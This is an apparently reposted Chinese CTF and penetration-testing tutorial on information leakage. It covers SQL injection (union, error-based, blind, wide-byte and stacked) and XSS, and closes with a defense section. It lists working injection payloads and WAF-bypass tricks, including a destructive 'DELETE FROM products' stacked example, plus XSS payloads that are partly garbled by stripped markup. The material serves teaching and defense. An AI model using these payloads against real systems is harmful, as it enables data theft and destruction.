文章总结: 本文系统梳理了CTF竞赛和渗透测试中信息泄漏的常见手法,涵盖目录遍历、子域名挖掘、证书查询、真实IP获取等技术路径,并详细介绍了phpinfo泄漏、robots.txt反向推断、Git配置不当等具体漏洞的利用方式。文档提供了dirsearch、Nmap、Wappalyzer等工具的实际操作命令和参数说明,强调通过资产发现和代码审计挖掘敏感信息的关键作用。 综合评分: 85 文章分类: CTF,WEB安全,渗透测试,漏洞分析,安全工具
网盘误传
开发人员或运维人员可能误将包含源码、配置文件或敏感数据的压缩包上传至公开网盘。
-
搜索技巧
:利用网盘搜索引擎(如盘搜搜、猪猪盘等)搜索特定的关键词(如公司名、项目名、”源码”、”backup”、”数据库”等)。
历史漏洞
利用公开的漏洞库搜索目标系统或组件的历史漏洞,往往能找到未修复的入口或默认凭证。
-
资源站点
:
-
Seebug
:https://www.seebug.org/
-
Exploit-DB
:https://www.exploit-db.com/
-
扫描工具
:
-
AWVS
-
Nessus
(五)sql注入
sql语句参考: CTF入门之渗透测试的盗窃
sql注入来自于开发者信任用户输入的数据,没有经过安全、合理的方式,直接组成SQL语句,带入数据库执行。用户数据 => 可执行代码,可执行代码通过直接信道或者间接信道将敏感信息传出来(直接注入,报错注入,盲注,带外查询等)
注入方式
1. Union注入
利用UNION操作符将恶意查询语句拼接到原SQL语句中,通过回显位获取数据库信息。
判断与探测
-
基本判断
:
-
1':单引号闭合,若报错则存在注入点。
-
1' || '1'='1:万能密码逻辑,若返回正常则注入成功。
-
1' and sleep(3)#:若网页延时3秒返回,说明SQL语句执行了延时函数。
-
黑名单测试
:尝试使用单双引号、
/**/注释、关键字(union、select)等,观察是否被拦截。
攻击流程
-
猜解字段数
:使用
order by判断查询的列数。
- Payload:
- “` 1′ order by 3 #(假设第3列报错,则继续猜测字段数为2)
2. **确定回显位**
:使用`union select`确定页面显示哪一列的数据。
* Payload:
* ```
1' union select 1,2,3 limit 1,1%23
-
获取数据
:
- 逐行:
- “` 1′ union select 1,2,schemaname from informationschema.schemata limit 1,1%23
* 聚合:
* ```
1' union select 1,2,group_concat(schema_name) from information_schema.schemata limit 1,1%23`
-
基本信息
:
1' union select 1,version(),user() limit 1,1%23(常用函数:version()、user()、database())。 -
数据库名
:
-
表名
:
-
“` 1′ union select 1,2,tablename from informationschema.tables where table_schema=’level1′ limit 1,1%23
* **字段名**
:
* ```
1' union select 1,2,column_name from information_schema.columns where table_name='secrets' limit 1,1%23
-
具体数据
:
-
“` 1′ union select 1,2,hex(secret) from level1.secrets limit 1,1%23
* (使用`hex()`防止特殊字符截断)。
#### 2. 绕过技巧
当WAF或代码过滤了特定字符时,需采用绕过手段。
**关键字过滤**
* **内联注释**
:`sel/**/ect`、`uni/**/on`。
* **符号分割**
:`sel<>ect`、`sel~ect`。
* **双写/大小写**
:`selselectect`、`SelEct`、`UNION`。
* **编码绕过**
:URL编码、16进制、ASCII编码。
**符号与语法绕过**
* **逗号过滤**
:
+ `JOIN`
方法:`union select * from (select 1)a join (select 2)b join (select 3)c`。
+ `FROM...FOR`
语法:`substr(str from 1 for 1)//在str中从第pos位截取len长的字符`、`mid(str from 1)//在str中从第pos位截取len长的字符`。
+ `OFFSET`
语法:`limit 1 offset 1`。
* **空格过滤**
:
+ 使用括号`()`、注释`/**/`、回车、TAB、`%09`、`%0a`、`%0b`、`%0c`、`%0d`、`%a0`、`%00`代替。
* **等号过滤**
:
+ `LIKE`
:`select * from flag where name like 'flag'`。
+ `REGEXP`
:`user() regexp '^root'`。
+ `POSITION`
:`POSITION('root' in user())`。
**逻辑运算符替代**
* `AND`
→ `&&` / `&`
* `OR`
→ `||` / `|`
* `XOR`
→ `|`
* `NOT`
→ `!`
* `=`
→ `LIKE` / `REGEXP` / `IN` / `BETWEEN...AND`
* 其他函数:`GREATEST(n1,n2)`(取最大值)、`STRCMP(s1,s2)`(字符串比较)。
#### 3. 宽字节注入
* **触发条件**
:数据库使用GBK编码,且PHP使用了转义函数(如`addslashes()`或`mysql_set_charset('gbk')`)。
* **原理**
:利用多字节字符特性“吃掉”转义字符`\`。
* **攻击思路**
:
+ \*\*%df吃掉\*\*:`addslashes('')`会将`'`转为`\'`(即`%5c%27`)。若输入`%df%5c%27`,在GBK编码下`%df%5c`会被解析为一个汉字(如“縗”),`%27`(`'`)则逃逸出来作为闭合符。
+ \*\*过滤\*\*:若`\`被过滤,可构造`%5c%5c%27`,前一个`%5c`被过滤或注释,后一个`%5c`与`%27`组合。
* **相关函数**
:`addslashes()`、`replace()`。
#### 4. 报错注入
利用数据库特定的函数强制抛出错误,并将查询结果通过错误信息回显。
* **ExtractValue**
:
+ Payload:
+ ```
sql.php?id=1 and extractvalue(1, concat(0x7e, (select @@version),0x7e))
-
UpdateXML
:
-
Payload:
-
“` sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
#### 5. 盲注
当页面没有回显,只能根据页面状态(True/False)或响应时间判断注入结果。
**布尔盲注**
* **原理**
:通过页面返回内容的差异(如页面长度、特定关键词是否存在)判断SQL语句真假。
* **常用Payload**
:
+ 基础:`' or {bool}#`
+ 过滤空格/注释:`' or ({bool})='1`、`' or (({bool}) in (1)) or '0`
+ 过滤OR/AND:`^!({bool})='1`、`'=if(({bool}),1,0)='0`
* **数据获取**
:使用`substr()`、`ascii()`、`left()`、`mid()`、`strcmp()`逐字节猜解。
**时间盲注**
* **原理**
:页面True/False表现一致,利用延时函数判断。若满足条件则休眠,否则立即返回。
* **常用函数**
:
+ `sleep(N)`
:延时N秒。
+ `benchmark(loop_num, task)`
:执行大量计算消耗时间。
+ `if(cond, v_1, v_2)`
:条件判断。
* **Payload示例**
:`id=1 and if(ascii(substr((select database()),1,1))>100, sleep(5), 0)`
#### 6. 堆叠注入
* **原理**
:利用分号`;`结束当前SQL语句,并拼接新的恶意语句一同执行。
* **特点**
:
+ 与`UNION`注入不同,堆叠注入可以执行任意SQL语句(如`DELETE`、`UPDATE`、`DROP`),不仅限于查询。
+ **风险**
:极高,可能导致删库、修改数据甚至GetShell。
* **限制**
:并非所有数据库接口都支持(如PHP的`mysql`扩展不支持,`mysqli`的`multi_query`支持)。
* **示例**
:
+ 输入:`1; DELETE FROM products`
+ 执行:`SELECT * FROM products WHERE id=1; DELETE FROM products`
## (六)xss注入
**XSS**(Cross-Site Scripting,跨站脚本攻击)是一种典型的Web程序漏洞利用攻击。攻击者利用Web程序对用户输入检查不足的漏洞,将可执行的恶意脚本(通常是JavaScript,也包含Java、VBScript、ActiveX等)注入到网站或Web应用中。当用户访问该网页时,恶意脚本在客户端浏览器中被触发执行,从而达到窃取数据、篡改网页等攻击目的。
### 危害
XSS漏洞可能导致严重的数据泄露与权限失控,主要危害包括:
* **盗取用户凭证**
:窃取用户Cookie、SessionID,实现会话劫持,盗取各类账号(如后台管理员、网银账户)。
* **恶意篡改与破坏**
:删除目标文章、恶意篡改网页内容、挂马、进行钓鱼攻击。
* **拒绝服务与劫持**
:对客户端浏览器发起DoS攻击、劫持用户Web行为。
* **内网渗透与传播**
:利用蠕虫进行系列攻击、进一步渗透内网、嫁祸他人。
### 分类
根据攻击数据的持久化方式及触发机制,XSS主要分为以下三类:
#### 1. 反射型XSS(非持久型)
* **原理**
:攻击者事先制作好包含恶意脚本的攻击链接(通常通过URL参数传递),服务器接收到请求后,未经处理直接将脚本“反射”回页面。
* **特点**
:**非持久化**。恶意代码不存储在服务器中,仅存在于单次请求与响应中。
* **触发条件**
:必须欺骗用户主动点击恶意链接(如通过钓鱼邮件、社交工程),通常出现在搜索页面、错误提示页面等。
#### 2. 存储型XSS(持久型)
* **原理**
:攻击者将恶意脚本提交并永久存储在服务器的后端数据库(如论坛帖子、用户评论、个人资料)中。当其他用户访问包含该数据的页面时,恶意脚本从服务器加载并自动执行。
* **特点**
:**持久化**。危害性最大,无需诱导用户点击特定链接,影响范围广。
* **触发条件**
:只要用户访问被植入恶意代码的页面即触发。此类漏洞极易造成蠕虫传播,大量盗窃Cookie。
#### 3. DOM型XSS
* **原理**
:基于文档对象模型(DOM)的漏洞。客户端脚本通过DOM动态地访问和更新文档内容(如`location`、`referrer`等对象)。如果前端JavaScript代码从URL或客户端获取数据后,未经严格确认直接修改DOM结构,就会产生漏洞。
* **特点**
:**纯客户端攻击**。漏洞触发点在于前端脚本逻辑,不依赖于向服务器端提交数据,恶意代码在本地执行。
### XSS 攻击常用 Payload
1. **基础弹窗**
*(利用大小写绕过)*
2. **闭合标签后弹窗**
1″>
3. **事件句柄注入 (onclick)**
‘ onclick=’javascript:alert(1)’// ” onclick=’javascript:alert(1)’//
4. **伪协议注入**
“>asd//
5. **双重大小写混淆**
1″>alert(1)
*(注:笔记原文写法较为特殊,意图是利用复杂的混淆绕过过滤)*
6. **Referer 注入**
referer:”type=’text’ onclick=’javascript:alert(1)’>//
7. **图片标签错误事件注入 (onerror)**
‘ “`
(七)资产监控
ARL资产侦察灯塔系统快速发现与目标关联的域名、IP、端口及Web服务,构建基础资产信息库。通过自动化探测与指纹识别,协助安全团队发现潜在攻击面与薄弱环节。
二、防护方式
1. 防止敏感信息泄漏(目录、备份与配置)
针对目录遍历、备份文件下载及 phpinfo 泄露,核心防御在于“最小化暴露”与“严格的访问控制”。首先,必须在 Web 服务器(如 Nginx、Apache)配置中彻底关闭目录浏览功能,防止攻击者直接获取文件列表。其次,建立严格的代码部署规范,生产环境中严禁保留 phpinfo.php、test.php 等探针文件,同时严禁在网站根目录存放 .bak、.sql、.zip 等备份压缩包,应将其移至 Web 根目录之外的存储区域。此外,应配置自定义的错误页面(如 404、500 页面),屏蔽服务器默认的错误堆栈信息,避免泄露物理路径或数据库结构。最后,通过修改服务器配置隐藏 Server、X-Powered-By 等响应头字段,减少攻击者通过指纹识别获取版本信息的机会,从而增加其攻击成本。
2. 代码版本控制安全(Git/SVN 泄露)
针对利用 GitHack、SvnExploit 等工具恢复源码的攻击,防御重点在于切断版本控制元数据的线上暴露。在自动化部署或手动上传代码时,必须配置构建脚本或 CI/CD 流水线,确保在打包阶段自动剔除 .git、.svn、.hg 等版本控制隐藏目录,严禁将这些包含完整代码历史和配置信息的文件夹上传至生产服务器。开发阶段应严格维护 .gitignore 文件,将敏感配置文件(如 .env、config.php)排除在版本控制之外,防止密钥硬编码泄露。同时,应在 Web 服务器层面配置访问规则,明确禁止外部用户访问以 . 开头的隐藏文件或目录,即使文件意外遗留,也能通过服务器权限控制阻断下载请求,从根本上杜绝源码泄露风险。
3. 编辑器与系统文件安全(Vim/MacOS 泄露)
针对 Vim 临时文件(.swp)和 MacOS 资源文件(.DS_Store)泄露,防御策略需结合运维规范与服务器配置。运维人员应避免直接在生产环境的 Web 目录下使用 Vim 等编辑器修改文件,防止因异常退出生成 .swp 恢复文件;建议采用“本地修改、远程同步”的工作流。对于 MacOS 用户,应在上传代码前清理 .DS_Store 文件,或在服务器端配置自动清理脚本。最关键的技术手段是在 Web 服务器(如 Nginx)中配置 Location 规则,禁止访问所有以 . 开头的隐藏文件(如 location ~ /\. { deny all; }),这能有效拦截对 .swp、.DS_Store 以及 .git 等敏感隐藏资源的 HTTP 请求,构建一道坚实的底层防线。
4. SQL 注入防御
针对sql的 Union 注入、报错注入、盲注及宽字节注入,最根本的防御措施是全面采用预编译语句(Prepared Statements)和参数化查询。通过使用 ORM 框架或 PDO,确保用户输入的数据被严格作为数据处理,而非 SQL 代码的一部分执行,从而彻底阻断 SQL 逻辑的篡改。同时,实施严格的输入验证,对整型参数进行类型强制转换,对字符串参数采用白名单机制过滤特殊字符。在数据库层面,遵循最小权限原则,Web 应用连接数据库的账号应仅授予业务所需的最小权限,严禁使用 root 等高权限账号,防止攻击者利用堆叠注入执行删库或写文件操作。此外,统一数据库、应用和连接的字符集为 UTF-8,可有效规避宽字节注入带来的编码解析差异风险。
5. XSS(跨站脚本)防御
针对反射型、存储型和 DOM 型 XSS 攻击,防御的核心在于“输入过滤”与“输出编码”的双重机制。在数据输出到前端页面时,必须根据上下文环境(HTML 标签内、JS 脚本中、CSS 样式中或 URL 参数里)进行相应的实体编码(如将 < 转为 <),确保浏览器将其解析为文本而非可执行脚本。对于 Cookie 等敏感凭证,务必设置 HttpOnly 标志,禁止 JavaScript 读取,从而在 XSS 漏洞存在的情况下仍能保护会话安全。此外,部署内容安全策略(CSP)是防御 XSS 的强力补充,通过白名单机制限制浏览器仅加载指定域名的脚本、图片和样式,能有效阻断内联脚本和未知来源恶意代码的执行,大幅降低 XSS 攻击的成功率。
6. 资产与架构安全
针对子域名挖掘、CDN 绕过和 DNS 泄露等资产层面的攻击,防御重点在于“收敛攻击面”与“隐藏真实架构”。企业应定期进行资产清查,及时下线不再使用的测试子域名、老旧系统和开发接口,减少被攻击的入口。在使用 CDN 时,需确保所有业务流量(包括 mail、ftp 等非 Web 业务)均经过 CDN 节点,避免在邮件头或历史 DNS 记录中直接暴露源站 IP。对于 DNS 服务,应严格配置访问控制列表,关闭 DNS 域传送功能,仅允许授权的从服务器进行数据同步,防止攻击者获取内网拓扑结构。同时,利用防火墙限制源站仅接受来自 CDN 节点 IP 段的访问请求,即使真实 IP 泄露,也能通过访问控制策略阻断直接攻击。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:书中自有代码来 书中自有代码来 书中自有代码来《CTF之信息泄漏——你什么都没说但什么都告诉了我》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论